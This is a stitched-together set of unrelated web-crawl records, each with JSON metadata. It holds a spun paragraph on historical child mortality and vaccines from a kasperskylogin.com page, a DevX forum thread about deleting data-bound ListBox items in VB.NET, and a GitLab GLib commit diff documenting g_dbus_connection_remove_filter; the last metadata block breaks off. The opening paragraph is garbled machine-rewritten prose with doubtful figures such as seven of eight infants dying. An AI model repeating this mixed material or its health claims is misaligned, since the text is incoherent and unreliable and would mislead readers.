5: 2 hundred years ago loss of life fee amongst kids was very excessive. In these days seven out of eight infants died before their first birthday. Now with the help of vaccines, medicines and proper well being care system life expectancy has improved. Now people reside longer and safe lives as compared to 200 years in the past. Biochemical research is responsible for the antibiotics and vaccinations that defend us from infectious illnesses, and for a wide range of different drugs used to defeat specific well being problems. Because of this, the majority of people on the planet now dwell longer and healthier lives than ever earlier than. | {
"url": "https://kasperskylogin.com/how-to-keep-your-gadgets-safe-whereas-on-an-adventure-journey.html",
"source_domain": "kasperskylogin.com",
"snapshot_id": "crawl=CC-MAIN-2021-10",
"warc_metadata": {
"Content-Length": "61637",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:EV6FYOZNIYN5QWP3T3SOEM7W75MURN26",
"WARC-Concurrent-To": "<urn:uuid:c2b204bd-4b85-40da-b020-25e9c76e488f>",
"WARC-Date": "2021-03-02T16:41:16Z",
"WARC-IP-Address": "172.67.138.229",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:EARGHXVFK6T625X6JS5KYRZ7BJ7J4DSW",
"WARC-Record-ID": "<urn:uuid:65f71a0a-aca7-4c2c-b259-a984a7e742df>",
"WARC-Target-URI": "https://kasperskylogin.com/how-to-keep-your-gadgets-safe-whereas-on-an-adventure-journey.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:157029e8-2f91-4cf4-b9dc-5eeda327848d>"
},
"warc_info": "isPartOf: CC-MAIN-2021-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-39.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
62,
63,
977,
978,
1510,
1511,
2313,
2314,
3047,
3048
],
"line_end_idx": [
62,
63,
977,
978,
1510,
1511,
2313,
2314,
3047,
3048,
3693
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3693,
"ccnet_original_nlines": 10,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4749999940395355,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.007352939806878567,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.09558823704719543,
"rps_doc_frac_unique_words": 0.5382114052772522,
"rps_doc_mean_word_length": 4.910569190979004,
"rps_doc_num_sentences": 26,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.363748550415039,
"rps_doc_word_count": 615,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.00927152018994093,
"rps_doc_frac_chars_top_3gram": 0.01192053034901619,
"rps_doc_frac_chars_top_4gram": 0.006622519809752703,
"rps_doc_books_importance": -284.394287109375,
"rps_doc_books_importance_length_correction": -284.394287109375,
"rps_doc_openwebtext_importance": -184.9165802001953,
"rps_doc_openwebtext_importance_length_correction": -184.9165802001953,
"rps_doc_wikipedia_importance": -133.21731567382812,
"rps_doc_wikipedia_importance_length_correction": -133.21731567382812
},
"fasttext": {
"dclm": 0.03277600184082985,
"english": 0.9576140642166138,
"fineweb_edu_approx": 2.8614766597747803,
"eai_general_math": 0.12679660320281982,
"eai_open_web_math": 0.1735554337501526,
"eai_web_code": 0.00926875974982977
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "378.196",
"labels": {
"level_1": "Social sciences",
"level_2": "Education",
"level_3": "Education, Higher and Universities and colleges"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
6,508,105,718,913,967,000 | Prob Adding and Deleting objects
DevX Home Today's Headlines Articles Archive Tip Bank Forums
Results 1 to 7 of 7
Thread: Prob Adding and Deleting objects
1. #1
Join Date
Sep 2008
Posts
27
Prob Adding and Deleting objects
H1, Using VB Net (2005, Access (2003) in Windows Forms, in my application there are 2 ListBox and a Datagridview. Database and Strong DataSet both have 4 tables and are related; on the dgCurrency_SelectionChanged I do some filtering to supply DataSource for the 2 ListBox, so good so far. My prob start here, upon selecting and element (Item) from left ListBox and adding it to the right ListBox this seem to work (I can see this item has been added to DataBase) but I been trying to delete the item that was selected from the left ListBox, just can do. I been at it for the last 2 weeks, so any help will be greatly appreciated. Thank you
2. #2
Join Date
Sep 2007
Posts
86
If you could post the code you have for deleting from the listbox that is not working then perhaps I could point out where the problem is.
John Wiese
ISV Architect Evangelist - Microsoft
http://blogs.msdn.com/usisvde
3. #3
Join Date
Sep 2008
Posts
27
Hi, hire is part of the code
Private Sub cmdMove_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdMove.Click
'Get the current Currency value and the Tax value being Selected.
Dim Currency_value As String = (tblCurrencyBindingSource.Position + 1).ToString
Dim Tax_value As String = Taxable.SelectedValue
Dim SelectedTax As String = Taxable.SelectedItem.ToString
Dim Num As String = Taxable.SelectedItem.ToString
'Make the add in the table tblCurTax
Dim drv As DataRowView = DirectCast(Taxable.SelectedItem, DataRowView)
Dim nr As DataRow = Me.DataSet1.tblCurTax.NewRow()
nr("CurID") = drv("CurID")
nr("TaxID") = drv("TaxID")
nr("SelectedTax") = drv("SelectedTax")
nr("Num") = drv("Num")
Me.DataSet1.tblCurTax.Rows.Add(nr)
'For Each dr As DataRow In DataSet1.tblCurTax1.Rows
' If (dr("SelectedTax") = drv("SelectedTax")) Then
' dr.Delete()
' End If
'Next
'DataSet1.tblCurTax1.AcceptChanges()
'Filter the DefaultView as it is displayed in the listbox.
'Me.DataSet1.tblCurTax1.DefaultView.RowFilter = " CurID = " + (tblCurrencyBindingSource.Position + 1).ToString
'To use the Find method, the DataView must be Sorted.
'Me.DataSet1.tblCurTax1.DefaultView.Sort = "TaxID"
'Find the Row Number
Dim rowindex As Integer = Me.DataSet1.tblCurTax1.DefaultView.Find(drv("TaxID"))
'Delete the Row
'DataSet1.tblCurTax1.RemovetblCurTax1Row()
'Update the database
Me.Validate()
Me.tblCurTaxBindingSource.EndEdit()
Me.tblTaxableBindingSource.EndEdit()
Me.TblCurTaxTableAdapter.Update(Me.DataSet1.tblCurTax)
'Call disconnect_reconnect_data_sources()
'Me.DataSet1.tblCurTax1.Rows(2).Delete()
'Me.ValidateChildren()
'Me.tblSelectedTaxBindingSource.EndEdit()
'Me.TblCurTaxTableAdapter.Update(Me.DataSet1.tblCurTax)
End Sub
4. #4
Join Date
Sep 2007
Posts
86
Thanks. If I trim out all the code that is commented out then I have this, the actual running code, correct:
Code:
Private Sub cmdMove_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdMove.Click
'Get the current Currency value and the Tax value being Selected.
Dim Currency_value As String = (tblCurrencyBindingSource.Position + 1).ToString
Dim Tax_value As String = Taxable.SelectedValue
Dim SelectedTax As String = Taxable.SelectedItem.ToString
Dim Num As String = Taxable.SelectedItem.ToString
'Make the add in the table tblCurTax
Dim drv As DataRowView = DirectCast(Taxable.SelectedItem, DataRowView)
Dim nr As DataRow = Me.DataSet1.tblCurTax.NewRow()
nr("CurID") = drv("CurID")
nr("TaxID") = drv("TaxID")
nr("SelectedTax") = drv("SelectedTax")
nr("Num") = drv("Num")
Me.DataSet1.tblCurTax.Rows.Add(nr)
'Find the Row Number
Dim rowindex As Integer = Me.DataSet1.tblCurTax1.DefaultView.Find(drv("TaxID"))
Me.Validate()
Me.tblCurTaxBindingSource.EndEdit()
Me.tblTaxableBindingSource.EndEdit()
Me.TblCurTaxTableAdapter.Update(Me.DataSet1.tblCurTax)
End Sub
I don't see in here where you are deleting the entries from the ListBox, or are your ListBoxes DataBound to the tables?
John Wiese
ISV Architect Evangelist - Microsoft
http://blogs.msdn.com/usisvde
5. #5
Join Date
Sep 2008
Posts
27
Hi, you are right, that was previous trial but as you know it din't work
I have try to send my Ex: but it fail on account exceeded the 100K. Ok I make available My example:
Code:
Public Class Form1
Inherits System.Windows.Forms.Form
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'TODO: This line of code loads data into the 'DataSet1.tblCurTax1' table. You can move, or remove it, as needed.
Me.TblCurTax1TableAdapter.Fill(Me.DataSet1.tblCurTax1)
'TODO: This line of code loads data into the 'DataSet1.tblCurrency' table. You can move, or remove it, as needed.
Me.TblCurrencyTableAdapter.Fill(Me.DataSet1.tblCurrency)
'TODO: This line of code loads data into the 'DataSet1.tblTaxable' table. You can move, or remove it, as needed.
Me.TblTaxableTableAdapter.Fill(Me.DataSet1.tblTaxable)
'TODO: This line of code loads data into the 'DataSet1.tblCurTax' table. You can move, or remove it, as needed.
Me.TblCurTaxTableAdapter.Fill(Me.DataSet1.tblCurTax)
Taxable.ClearSelected()
TaxExempt.ClearSelected()
Taxable.DisplayMember = "SelectedTax"
Taxable.ValueMember = "CurID"
Taxable.DataSource = tblCurTax1BindingSource
TaxExempt.DisplayMember = "SelectedTax"
TaxExempt.ValueMember = "CurID"
TaxExempt.DataSource = tblCurTaxBindingSource
End Sub
Private Sub dgCurrency_SelectionChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles dgCurrency.SelectionChanged
'Allow Taxable Objects linked to Currency to be filter.
tblCurTax1BindingSource.Filter = " CurID = " + (tblCurrencyBindingSource.Position + 1).ToString
tblCurTaxBindingSource.Filter = " CurID = " + (tblCurrencyBindingSource.Position + 1).ToString
End Sub
Private Sub cmdMove_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdMove.Click
'Get the current Currency value and the Tax value being Selected.
Dim Currency_value As String = (tblCurrencyBindingSource.Position + 1).ToString
Dim Tax_value As String = Taxable.SelectedValue
Dim SelectedTax As String = Taxable.SelectedItem.ToString
Dim Num As String = Taxable.SelectedItem.ToString
'Make the add in the table tblCurTax
Dim drv As DataRowView = DirectCast(Taxable.SelectedItem, DataRowView)
Dim nr As DataRow = Me.DataSet1.tblCurTax.NewRow()
nr("CurID") = drv("CurID")
nr("TaxID") = drv("TaxID")
nr("SelectedTax") = drv("SelectedTax")
nr("Num") = drv("Num")
Me.DataSet1.tblCurTax.Rows.Add(nr)
'For Each dr As DataRow In DataSet1.tblCurTax1.Rows
' If (dr("SelectedTax") = drv("SelectedTax")) Then
' dr.Delete()
' End If
'Next
'DataSet1.tblCurTax1.AcceptChanges()
'Filter the DefaultView as it is displayed in the listbox.
'Me.DataSet1.tblCurTax1.DefaultView.RowFilter = " CurID = " + (tblCurrencyBindingSource.Position + 1).ToString
'To use the Find method, the DataView must be Sorted.
'Me.DataSet1.tblCurTax1.DefaultView.Sort = "TaxID"
'Find the Row Number
Dim rowindex As Integer = Me.DataSet1.tblCurTax1.DefaultView.Find(drv("TaxID"))
'Delete the Row
'DataSet1.tblCurTax1.RemovetblCurTax1Row()
'Update the database
Me.Validate()
Me.tblCurTaxBindingSource.EndEdit()
Me.tblTaxableBindingSource.EndEdit()
Me.TblCurTaxTableAdapter.Update(Me.DataSet1.tblCurTax)
'Call disconnect_reconnect_data_sources()
'Me.DataSet1.tblCurTax1.Rows(2).Delete()
'Me.ValidateChildren()
'Me.tblSelectedTaxBindingSource.EndEdit()
'Me.TblCurTaxTableAdapter.Update(Me.DataSet1.tblCurTax)
End Sub
Private Sub cmdMoveAll_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdMoveAll.Click
End Sub
Private Sub cmdBack_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdBack.Click
'Get the current Currency value and the Tax value being Selected.
Dim Currency_value As String = (tblCurrencyBindingSource.Position + 1).ToString
Dim Tax_value As String = TaxExempt.SelectedValue
Dim SelectedTax As String = TaxExempt.SelectedItem.ToString
Dim Num As String = TaxExempt.SelectedItem.ToString
'Make the add in the table tblCurTax1
Dim drv As DataRowView = DirectCast(TaxExempt.SelectedItem, DataRowView)
Dim nr As DataRow = Me.DataSet1.tblCurTax1.NewRow()
nr("CurID") = drv("CurID")
nr("TaxID") = drv("TaxID")
nr("SelectedTax") = drv("SelectedTax")
nr("Num") = drv("Num")
Me.DataSet1.tblCurTax1.Rows.Add(nr)
'For Each dr As DataRow In DataSet1.tblCurTax1.Rows
' If (dr("SelectedTax") = drv("SelectedTax")) Then
' dr.Delete()
' End If
'Next
'DataSet1.tblCurTax1.AcceptChanges()
'Filter the DefaultView as it is displayed in the listbox.
'Me.DataSet1.tblCurTax1.DefaultView.RowFilter = " CurID = " + (tblCurrencyBindingSource.Position + 1).ToString
'To use the Find method, the DataView must be Sorted.
'Me.DataSet1.tblCurTax1.DefaultView.Sort = "TaxID"
'Find the Row Number
Dim rowindex As Integer = Me.DataSet1.tblCurTax1.DefaultView.Find(drv("TaxID"))
'Delete the Row
'DataSet1.tblTaxable(1).Delete()
'Update the database
Me.Validate()
Me.tblCurTax1BindingSource.EndEdit()
Me.tblTaxableBindingSource.EndEdit()
Me.TblCurTax1TableAdapter.Update(Me.DataSet1.tblCurTax1)
'Call disconnect_reconnect_data_sources()
'Me.DataSet1.tblCurTax1.Rows(2).Delete()
'Me.ValidateChildren()
'Me.tblSelectedTaxBindingSource.EndEdit()
'Me.TblCurTaxTableAdapter.Update(Me.DataSet1.tblCurTax)
End Sub
Private Sub cmdBackAll_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdBackAll.Click
End Sub
Private Sub btnClose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClose.Click
Me.Close()
End Sub
End Class
Last edited by Hack; 01-15-2009 at 08:42 AM. Reason: Added Code Tags
6. #6
Join Date
Apr 2007
Location
Sterling Heights, Michigan
Posts
8,663
What exceeded 100K?
What is the exact error message?
(BTW: I edited your post and added [code]your code goes here[/code] tags to make it easier to read. )
7. #7
Join Date
Sep 2008
Posts
27
Hi to you this morning. About the 100K, I wanted to Zip you my code but it seem that you have a limit for download of a 100K.Now about my code Ihave no problem to un-comment my code, (BTW: I edited your post and added
Code:
your code goes here
tags to make it easier to read. ) when you say you edit my code, is it by removing the not use comment codes like I said this I can eaisly do. As far for the error message I don't have any, it is just that I don't know, (When you ask to see my code, all the comment code was previous trial that did not work) so you see my problem now how to delete the item previous selected just after having add that item to the DataSet and also to the Database aned do the necessary updating DataSet and DataBase, hope being clear enough and still hope you can help me with my problems and this I thank you
Similar Threads
1. Replies: 0
Last Post: 04-11-2003, 07:27 AM
2. Adding and deleting records (dnagel)
By Jamal in forum VB Classic
Replies: 2
Last Post: 02-25-2003, 09:21 AM
3. Adding and deleting records
By Jamal in forum VB Classic
Replies: 1
Last Post: 02-20-2003, 06:12 PM
Posting Permissions
• You may not post new threads
• You may not post replies
• You may not post attachments
• You may not edit your posts
•
HTML5 Development Center
FAQ
Latest Articles
Java
.NET
XML
Database
Enterprise
Questions? Contact us.
C++
Web Development
Wireless
Latest Tips
Open Source
Development Centers
-- Android Development Center
-- Cloud Development Project Center
-- HTML5 Development Center
-- Windows Mobile Development Center | {
"url": "http://forums.devx.com/showthread.php?170882-Need-help-please!&goto=nextoldest",
"source_domain": "forums.devx.com",
"snapshot_id": "crawl=CC-MAIN-2018-05",
"warc_metadata": {
"Content-Length": "108236",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:M3CLEWRVUN2UJYWDBVTFW2XAX4FEPC4D",
"WARC-Concurrent-To": "<urn:uuid:20da9151-1ff4-4de9-8a7f-5e2c4b6e3ace>",
"WARC-Date": "2018-01-22T08:39:05Z",
"WARC-IP-Address": "70.42.23.121",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:K5HXDUBJ3BST5A55TVGSAVQQJRTE6GLJ",
"WARC-Record-ID": "<urn:uuid:7aa84326-b4c7-4957-9257-f1e8dc4e9a60>",
"WARC-Target-URI": "http://forums.devx.com/showthread.php?170882-Need-help-please!&goto=nextoldest",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:52d43fab-f6ee-41d4-ad23-551d3c1a03a6>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-180-62-156.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-05\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for January 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
33,
34,
35,
108,
109,
129,
130,
171,
172,
180,
194,
207,
217,
224,
225,
262,
263,
907,
908,
916,
930,
943,
953,
960,
1103,
1118,
1159,
1193,
1194,
1202,
1216,
1229,
1239,
1246,
1279,
1280,
1392,
1462,
1463,
1547,
1599,
1661,
1715,
1716,
1757,
1832,
1833,
1888,
1889,
1920,
1951,
1994,
2021,
2022,
2023,
2062,
2063,
2119,
2174,
2192,
2205,
2215,
2256,
2257,
2258,
2321,
2436,
2437,
2495,
2550,
2551,
2576,
2660,
2661,
2681,
2728,
2753,
2771,
2811,
2852,
2911,
2912,
2958,
3003,
3030,
3076,
3136,
3148,
3149,
3157,
3171,
3184,
3194,
3201,
3314,
3315,
3325,
3441,
3446,
3524,
3616,
3676,
3746,
3808,
3813,
3862,
3945,
4008,
4013,
4052,
4091,
4142,
4177,
4182,
4229,
4234,
4268,
4360,
4365,
4391,
4439,
4488,
4555,
4571,
4695,
4710,
4751,
4785,
4786,
4794,
4808,
4821,
4831,
4838,
4915,
5019,
5029,
5052,
5095,
5100,
5211,
5336,
5403,
5529,
5598,
5723,
5790,
5914,
5979,
5984,
6020,
6058,
6063,
6113,
6155,
6212,
6217,
6269,
6313,
6371,
6376,
6392,
6397,
6534,
6602,
6710,
6817,
6822,
6838,
6843,
6959,
7037,
7042,
7134,
7194,
7264,
7326,
7331,
7380,
7463,
7468,
7531,
7536,
7575,
7614,
7665,
7700,
7713,
7718,
7765,
7770,
7834,
7900,
7933,
7957,
7975,
8024,
8029,
8034,
8106,
8229,
8234,
8301,
8364,
8369,
8403,
8495,
8500,
8529,
8584,
8619,
8645,
8693,
8742,
8809,
8814,
8868,
8921,
8956,
9010,
9078,
9094,
9099,
9221,
9226,
9242,
9247,
9363,
9441,
9446,
9538,
9600,
9672,
9736,
9741,
9791,
9876,
9881,
9945,
9950,
9989,
10028,
10079,
10114,
10119,
10124,
10172,
10177,
10241,
10307,
10340,
10364,
10382,
10431,
10436,
10441,
10513,
10636,
10641,
10708,
10771,
10776,
10810,
10902,
10907,
10936,
10981,
10986,
11020,
11046,
11095,
11144,
11213,
11218,
11272,
11325,
11360,
11414,
11482,
11498,
11503,
11625,
11630,
11646,
11651,
11769,
11792,
11808,
11813,
11827,
11900,
11901,
11909,
11923,
11936,
11949,
11980,
11990,
12000,
12024,
12025,
12062,
12063,
12169,
12170,
12178,
12192,
12205,
12215,
12222,
12444,
12454,
12478,
13076,
13077,
13093,
13094,
13110,
13146,
13188,
13221,
13236,
13272,
13305,
13338,
13353,
13389,
13390,
13410,
13411,
13444,
13473,
13506,
13538,
13544,
13569,
13571,
13573,
13577,
13593,
13598,
13603,
13607,
13616,
13627,
13650,
13654,
13670,
13679,
13691,
13703,
13704,
13705,
13728,
13729,
13762,
13801,
13832
],
"line_end_idx": [
33,
34,
35,
108,
109,
129,
130,
171,
172,
180,
194,
207,
217,
224,
225,
262,
263,
907,
908,
916,
930,
943,
953,
960,
1103,
1118,
1159,
1193,
1194,
1202,
1216,
1229,
1239,
1246,
1279,
1280,
1392,
1462,
1463,
1547,
1599,
1661,
1715,
1716,
1757,
1832,
1833,
1888,
1889,
1920,
1951,
1994,
2021,
2022,
2023,
2062,
2063,
2119,
2174,
2192,
2205,
2215,
2256,
2257,
2258,
2321,
2436,
2437,
2495,
2550,
2551,
2576,
2660,
2661,
2681,
2728,
2753,
2771,
2811,
2852,
2911,
2912,
2958,
3003,
3030,
3076,
3136,
3148,
3149,
3157,
3171,
3184,
3194,
3201,
3314,
3315,
3325,
3441,
3446,
3524,
3616,
3676,
3746,
3808,
3813,
3862,
3945,
4008,
4013,
4052,
4091,
4142,
4177,
4182,
4229,
4234,
4268,
4360,
4365,
4391,
4439,
4488,
4555,
4571,
4695,
4710,
4751,
4785,
4786,
4794,
4808,
4821,
4831,
4838,
4915,
5019,
5029,
5052,
5095,
5100,
5211,
5336,
5403,
5529,
5598,
5723,
5790,
5914,
5979,
5984,
6020,
6058,
6063,
6113,
6155,
6212,
6217,
6269,
6313,
6371,
6376,
6392,
6397,
6534,
6602,
6710,
6817,
6822,
6838,
6843,
6959,
7037,
7042,
7134,
7194,
7264,
7326,
7331,
7380,
7463,
7468,
7531,
7536,
7575,
7614,
7665,
7700,
7713,
7718,
7765,
7770,
7834,
7900,
7933,
7957,
7975,
8024,
8029,
8034,
8106,
8229,
8234,
8301,
8364,
8369,
8403,
8495,
8500,
8529,
8584,
8619,
8645,
8693,
8742,
8809,
8814,
8868,
8921,
8956,
9010,
9078,
9094,
9099,
9221,
9226,
9242,
9247,
9363,
9441,
9446,
9538,
9600,
9672,
9736,
9741,
9791,
9876,
9881,
9945,
9950,
9989,
10028,
10079,
10114,
10119,
10124,
10172,
10177,
10241,
10307,
10340,
10364,
10382,
10431,
10436,
10441,
10513,
10636,
10641,
10708,
10771,
10776,
10810,
10902,
10907,
10936,
10981,
10986,
11020,
11046,
11095,
11144,
11213,
11218,
11272,
11325,
11360,
11414,
11482,
11498,
11503,
11625,
11630,
11646,
11651,
11769,
11792,
11808,
11813,
11827,
11900,
11901,
11909,
11923,
11936,
11949,
11980,
11990,
12000,
12024,
12025,
12062,
12063,
12169,
12170,
12178,
12192,
12205,
12215,
12222,
12444,
12454,
12478,
13076,
13077,
13093,
13094,
13110,
13146,
13188,
13221,
13236,
13272,
13305,
13338,
13353,
13389,
13390,
13410,
13411,
13444,
13473,
13506,
13538,
13544,
13569,
13571,
13573,
13577,
13593,
13598,
13603,
13607,
13616,
13627,
13650,
13654,
13670,
13679,
13691,
13703,
13704,
13705,
13728,
13729,
13762,
13801,
13832,
13871
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 13871,
"ccnet_original_nlines": 358,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.15345369279384613,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.017268450930714607,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3543955981731415,
"rps_doc_frac_unique_words": 0.2950699031352997,
"rps_doc_mean_word_length": 6.70934534072876,
"rps_doc_num_sentences": 313,
"rps_doc_symbol_to_word_ratio": 0.002747250022366643,
"rps_doc_unigram_entropy": 5.421515941619873,
"rps_doc_word_count": 1359,
"rps_doc_frac_chars_dupe_10grams": 0.438144326210022,
"rps_doc_frac_chars_dupe_5grams": 0.579622745513916,
"rps_doc_frac_chars_dupe_6grams": 0.5597718954086304,
"rps_doc_frac_chars_dupe_7grams": 0.5503399968147278,
"rps_doc_frac_chars_dupe_8grams": 0.5110769867897034,
"rps_doc_frac_chars_dupe_9grams": 0.4762009084224701,
"rps_doc_frac_chars_top_2gram": 0.014038169756531715,
"rps_doc_frac_chars_top_3gram": 0.00789646990597248,
"rps_doc_frac_chars_top_4gram": 0.022702349349856377,
"rps_doc_books_importance": -1118.5584716796875,
"rps_doc_books_importance_length_correction": -1118.5584716796875,
"rps_doc_openwebtext_importance": -601.8439331054688,
"rps_doc_openwebtext_importance_length_correction": -601.8439331054688,
"rps_doc_wikipedia_importance": -319.4659118652344,
"rps_doc_wikipedia_importance_length_correction": -319.4659118652344
},
"fasttext": {
"dclm": 0.05255382880568504,
"english": 0.6524478197097778,
"fineweb_edu_approx": 2.2594869136810303,
"eai_general_math": 0.2760743498802185,
"eai_open_web_math": 0.4759671688079834,
"eai_web_code": 0.02067255973815918
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.44",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-1,931,948,579,064,203,000 | GitLab repository storage has been migrated to hashed layout. Please contact Infrastructure team if you notice any issues with repositories or hooks.
Commit c4cf88c2 authored by Matthias Clasen's avatar Matthias Clasen
Document remove_filter
parent d7095dd4
......@@ -33,9 +33,7 @@
* - Need to rewrite GDBusAuth and rework GDBusAuthMechanism. In particular
* the mechanism VFuncs need to be able to set an error.
*
* - Need to document usage of DBUS_SYSTEM_ADDRESS and
* DBUS_SESSION_BUS_ADDRESS environment variables. Also need to
* document other mechanisms/sources for determining the D-Bus
* - Need to document other mechanisms/sources for determining the D-Bus
* address of a well-known bus.
*
* - e.g. on Win32 we need code like from here
......@@ -2367,6 +2365,15 @@ purge_all_filters (GDBusConnection *connection)
}
}
/**
* g_dbus_connection_remove_filter:
* @connection: a #GDBusConnection
* @filer_id: an identifier obtained from g_dbus_connection_add_filter()
*
* Removes a filter.
*
* Since: 2.26
*/
void
g_dbus_connection_remove_filter (GDBusConnection *connection,
guint filter_id)
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment | {
"url": "https://gitlab.gnome.org/GNOME/glib/-/commit/c4cf88c22f731878cbc740e4721e07215385201b?w=1",
"source_domain": "gitlab.gnome.org",
"snapshot_id": "crawl=CC-MAIN-2020-29",
"warc_metadata": {
"Content-Length": "79902",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:7FYMJFIXPSSA6P2TISP6MNRX4D2LI5FW",
"WARC-Concurrent-To": "<urn:uuid:4ebdd299-40cd-466f-8932-977eb48336c7>",
"WARC-Date": "2020-07-16T04:37:46Z",
"WARC-IP-Address": "8.43.85.27",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:ZDNSZ5HNEIS4AYW4KHEWLLJX4W354S5E",
"WARC-Record-ID": "<urn:uuid:90d98ae9-b4e6-4894-a1b3-c66e26eee883>",
"WARC-Target-URI": "https://gitlab.gnome.org/GNOME/glib/-/commit/c4cf88c22f731878cbc740e4721e07215385201b?w=1",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:991a7487-76b7-431b-b024-31c72df3ac19>"
},
